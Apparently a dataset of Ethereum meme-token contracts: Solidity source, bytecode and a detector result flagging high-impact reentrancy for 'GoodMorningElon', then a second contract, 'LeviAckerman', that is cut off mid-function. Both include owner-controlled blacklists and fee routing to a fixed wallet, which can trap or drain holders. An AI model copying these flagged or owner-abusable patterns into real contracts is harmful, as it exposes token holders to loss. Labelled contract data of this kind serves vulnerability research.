a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoodMorningElon is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "GoodMorningElon"; string private constant _symbol = "GME"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xb686246e692C188422BBf4982f1565919e6bd3db); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (disableFee) { _feeAddr1 = 0; _feeAddr2 = 0; } else { _feeAddr1 = 2; _feeAddr2 = 8; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); // cooldown[to] = block.timestamp + (30 seconds); // require(cooldown[to] < block.timestamp); } if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint256 contractTokenBalance = balanceOf(address(this)); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function setSwapEnabled(bool isEnabled) public payable onlyOwner() { swapEnabled = isEnabled; } bool internal disableFee = false; function openTrading() external payable onlyOwner() { disableFee = true; require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _isExcludedFromFee[address(uniswapV2Pair)] = true; swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); disableFee = false; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswapsend() external onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102d8578063ba05e9bc146102f8578063c9567bf91461030d578063dd62ed3e14610315578063e01af92c1461035b57600080fd5b8063715018a61461024f5780638da5cb5b1461026457806395d89b411461028c578063a9059cbb146102b857600080fd5b8063273123b7116100d1578063273123b7146101d1578063313ce567146101f35780635932ead11461020f57806370a082311461022f57600080fd5b806306fdde031461010e578063095ea7b31461015857806318160ddd1461018857806323b872dd146101b157600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600f81526e23b7b7b226b7b93734b733a2b637b760891b60208201525b60405161014f919061153c565b60405180910390f35b34801561016457600080fd5b506101786101733660046115b9565b61036e565b604051901515815260200161014f565b34801561019457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014f565b3480156101bd57600080fd5b506101786101cc3660046115e5565b610385565b3480156101dd57600080fd5b506101f16101ec366004611626565b6103ee565b005b3480156101ff57600080fd5b506040516009815260200161014f565b34801561021b57600080fd5b506101f161022a366004611651565b610442565b34801561023b57600080fd5b506101a361024a366004611626565b61048a565b34801561025b57600080fd5b506101f16104ac565b34801561027057600080fd5b506000546040516001600160a01b03909116815260200161014f565b34801561029857600080fd5b50604080518082019091526003815262474d4560e81b6020820152610142565b3480156102c457600080fd5b506101786102d33660046115b9565b610520565b3480156102e457600080fd5b506101f16102f3366004611684565b61052d565b34801561030457600080fd5b506101f16105c3565b6101f161060d565b34801561032157600080fd5b506101a3610330366004611749565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6101f1610369366004611651565b6109c5565b600061037b338484610a0d565b5060015b92915050565b6000610392848484610b31565b6103e484336103df85604051806060016040528060288152602001611948602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e5d565b610a0d565b5060019392505050565b6000546001600160a01b031633146104215760405162461bcd60e51b815260040161041890611782565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461046c5760405162461bcd60e51b815260040161041890611782565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461037f90610e97565b6000546001600160a01b031633146104d65760405162461bcd60e51b815260040161041890611782565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061037b338484610b31565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161041890611782565b60005b81518110156105bf5760016006600084848151811061057b5761057b6117b7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105b7816117e3565b91505061055a565b5050565b6000546001600160a01b031633146105ed5760405162461bcd60e51b815260040161041890611782565b60006105f83061048a565b905061060381610f1b565b476105bf81611095565b6000546001600160a01b031633146106375760405162461bcd60e51b815260040161041890611782565b6010805460ff19166001179055600e54600160a01b900460ff161561069e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610418565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106de30826b033b2e3c9fd0803ce8000000610a0d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074091906117fe565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b191906117fe565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107fe573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082291906117fe565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d71934306108528161048a565b6000806108676000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f4919061181b565b5050600e80546001600160a01b0390811660009081526005602052604090819020805460ff1916600117905582546a295be96e64066972000000600f55630101000160a01b63ffff00ff60a01b19821617909355600d54905163095ea7b360e01b8152908216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b79190611849565b50506010805460ff19169055565b6000546001600160a01b031633146109ef5760405162461bcd60e51b815260040161041890611782565b600e8054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610a6f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610418565b6001600160a01b038216610ad05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610418565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b955760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610418565b6001600160a01b038216610bf75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610418565b60008111610c595760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610418565b60105460ff1615610c73576000600a819055600b55610c7e565b6002600a556008600b555b6000546001600160a01b03848116911614801590610caa57506000546001600160a01b03838116911614155b15610e4d576001600160a01b03831660009081526006602052604090205460ff16158015610cf157506001600160a01b03821660009081526006602052604090205460ff16155b610cfa57600080fd5b600e546001600160a01b038481169116148015610d255750600d546001600160a01b03838116911614155b8015610d4a57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d5f5750600e54600160b81b900460ff165b15610d7357600f54811115610d7357600080fd5b60105460ff16158015610d935750600e546001600160a01b038381169116145b8015610dad5750600d546001600160a01b03848116911614155b8015610dd257506001600160a01b03831660009081526005602052604090205460ff16155b15610de2576002600a908155600b555b600e54600160a81b900460ff16158015610e0a5750600e546001600160a01b03848116911614155b8015610e1f5750600e54600160b01b900460ff165b15610e4d576000610e2f3061048a565b9050610e3a81610f1b565b478015610e4a57610e4a47611095565b50505b610e588383836110cf565b505050565b60008184841115610e815760405162461bcd60e51b8152600401610418919061153c565b506000610e8e8486611866565b95945050505050565b6000600854821115610efe5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610418565b6000610f086110da565b9050610f1483826110fd565b9392505050565b600e805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f6357610f636117b7565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe091906117fe565b81600181518110610ff357610ff36117b7565b6001600160a01b039283166020918202929092010152600d546110199130911684610a0d565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061105290859060009086903090429060040161187d565b600060405180830381600087803b15801561106c57600080fd5b505af1158015611080573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105bf573d6000803e3d6000fd5b610e5883838361113f565b60008060006110e7611236565b90925090506110f682826110fd565b9250505090565b6000610f1483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127e565b600080600080600080611151876112ac565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111839087611309565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111b2908661134b565b6001600160a01b0389166000908152600260205260409020556111d4816113aa565b6111de84836113f4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122391815260200190565b60405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce800000061125582826110fd565b821015611275575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b6000818361129f5760405162461bcd60e51b8152600401610418919061153c565b506000610e8e84866118ee565b60008060008060008060008060006112c98a600a54600b54611418565b92509250925060006112d96110da565b905060008060006112ec8e87878761146d565b919e509c509a509598509396509194505050505091939550919395565b6000610f1483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e5d565b6000806113588385611910565b905083811015610f145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610418565b60006113b46110da565b905060006113c283836114bd565b306000908152600260205260409020549091506113df908261134b565b30600090815260026020526040902055505050565b6008546114019083611309565b600855600954611411908261134b565b6009555050565b6000808080611432606461142c89896114bd565b906110fd565b90506000611445606461142c8a896114bd565b9050600061145d826114578b86611309565b90611309565b9992985090965090945050505050565b600080808061147c88866114bd565b9050600061148a88876114bd565b9050600061149888886114bd565b905060006114aa826114578686611309565b939b939a50919850919650505050505050565b6000826114cc5750600061037f565b60006114d88385611928565b9050826114e585836118ee565b14610f145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610418565b600060208083528351808285015260005b818110156115695785810183015185820160400152820161154d565b8181111561157b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146115a657600080fd5b50565b80356115b481611591565b919050565b600080604083850312156115cc57600080fd5b82356115d781611591565b946020939093013593505050565b6000806000606084860312156115fa57600080fd5b833561160581611591565b9250602084013561161581611591565b929592945050506040919091013590565b60006020828403121561163857600080fd5b8135610f1481611591565b80151581146115a657600080fd5b60006020828403121561166357600080fd5b8135610f1481611643565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561169757600080fd5b823567ffffffffffffffff808211156116af57600080fd5b818501915085601f8301126116c357600080fd5b8135818111156116d5576116d561166e565b8060051b604051601f19603f830116810181811085821117156116fa576116fa61166e565b60405291825284820192508381018501918883111561171857600080fd5b938501935b8285101561173d5761172e856115a9565b8452938501939285019261171d565b98975050505050505050565b6000806040838503121561175c57600080fd5b823561176781611591565b9150602083013561177781611591565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156117f7576117f76117cd565b5060010190565b60006020828403121561181057600080fd5b8151610f1481611591565b60008060006060848603121561183057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561185b57600080fd5b8151610f1481611643565b600082821015611878576118786117cd565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118cd5784516001600160a01b0316835293830193918301916001016118a8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261190b57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611923576119236117cd565b500190565b6000816000190483118215151615611942576119426117cd565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077ffa0ed4ac3dda84f73c005f3936459c50fa63afad4dd42bfc8f23a4825eac864736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,762
0xc526ca34bba5dbc3e0730cd22cc49cb80f3e30f2
/* Captain Levi the best titan slayer 鑓塵幗膂蓿f寥寢膃暠瘉甅甃槊槎f碣綮瘋聟碯颱亦尓㍍i:i:i;;:;:: : : 澣幗嶌塹傴嫩榛畝皋i袍耘蚌紕欒儼巓襴踟篁f罵f亦尓㍍i:i:i;;:;:: : : 漲蔭甃縟諛f麭窶膩I嶮薤篝爰曷樔黎㌢´  `ⅷ踟亦尓㍍i:i:i;;:;:: : : 蔕漓滿f蕓蟇踴f歙艇艀裲f睚鳫巓襴骸     贒憊亦尓㍍i:i:i;;:;:: : : 榊甃齊爰f懈橈燗殪幢緻I翰儂樔黎夢'”    ,ィ傾篩縒亦尓㍍i:i:i;;:;:: : : 箋聚蜚壊劑薯i暹盥皋袍i耘蚌紕偸′    雫寬I爰曷f亦尓㍍i:i:i;;:;:: : : 銕颱麼寰篝螂徑悗f篝嚠篩i縒縡齢       Ⅷ辨f篝I鋗f亦尓㍍i:i:i;;:; : : . 碯聟f綴麼辨螢f璟輯駲f迯瓲i軌帶′     `守I厖孩f奎亦尓㍍i:i:i;;:;:: : : . 綮誣撒f曷磔瑩德f幢儂儼巓襴緲′          `守枢i磬廛i亦尓㍍i:i:i;;:;:: : : . 慫寫廠徑悗緞f篝嚠篩I縒縡夢'´              `守峽f徑悗f亦尓㍍i:i:i;;:;:: : : . 廛僵I數畝篥I熾龍蚌紕襴緲′             ‘守畝皋弊i劍亦尓㍍i:i:i;;:;:: : : . 瘧i槲瑩f枢篝磬曷f瓲軌揄′             ,gf毯綴徑悗嚠迩忙亦尓㍍i:i:i;;:;:: : : 襴罩硼f艇艀裲睚鳫襴鑿緲'               奪寔f厦傀揵猯i爾迩忙亦尓㍍i:i:i;;:; 椈棘斐犀耋絎絲絨緲′                     ”'罨悳萪f蒂渹幇f廏迩忙i亦尓㍍ 潁樗I瘧德幢i儂巓緲′                   r㎡℡〟”'罨椁裂滅楔滄愼愰迩忙亦 翦i磅艘溲I搦儼巓登zzz zzz㎜㎜ァg    緲 g    甯體i爺ゎ。, ”'罨琥焜毳徭i嵬塰慍絲 枢篝磬f曷迯i瓲軌f襴暹 甯幗緲 ,fi'   緲',纜。  贒i綟碕碚爺ゎ。 ”'罨皴發傲亂I黹靱 緞愾慊嵬嵯欒儼巓襴驫 霤I緲 ,緲   ",纜穐  甯絛跨飩i髢馳爺ゎ。`'等誄I筴碌I畷 罩硼I蒻筵硺艇艀i裲睚亀 篳'’,緲  g亀 Ⅶil齢  贒罩硼i艇艀裲睚鳫爺靠飭蛸I裘裔 椈f棘豢跫跪I衙絎絲絨i爺i㎜iⅣ   ,緲i亀 Ⅶ靈,  甯傅喩I揵揚惹屡絎痙棏敞裔筴敢 頬i鞏褂f跫詹雋髢i曷迯瓲軌霤   ,緲蔭穐 Ⅶ穐   讎椈i棘貅f斐犀耋f絎絲觚f覃黹黍 襴蔽戮貲艀舅I肅肄肆槿f蝓Ⅷ   緲$慚I穐,疊穐  甯萪碾f鋗輜靠f誹臧鋩f褂跫詹i雋 鋐篆f瘧蜑筴裔罩罧I緜孵蓼Ⅷ  i鷆嫩槞i歉皸鱚  冑縡諛諺彙溘嵳勠尠錣綴麼辨螢 */ // SPDX-License-Identifier: unlicense pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract LeviAckerman is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Levi Ackerman";// string private constant _symbol = "LEVI";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 7;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xc2cA744FCeb0a6f3c6Dea53012Ca70ca9aab67D4);// address payable private _marketingAddress = payable(0xc2cA744FCeb0a6f3c6Dea53012Ca70ca9aab67D4);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; // uint256 public _maxWalletSize = 30000000 * 10**9; // uint256 public _swapTokensAtAmount = 10000000 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } 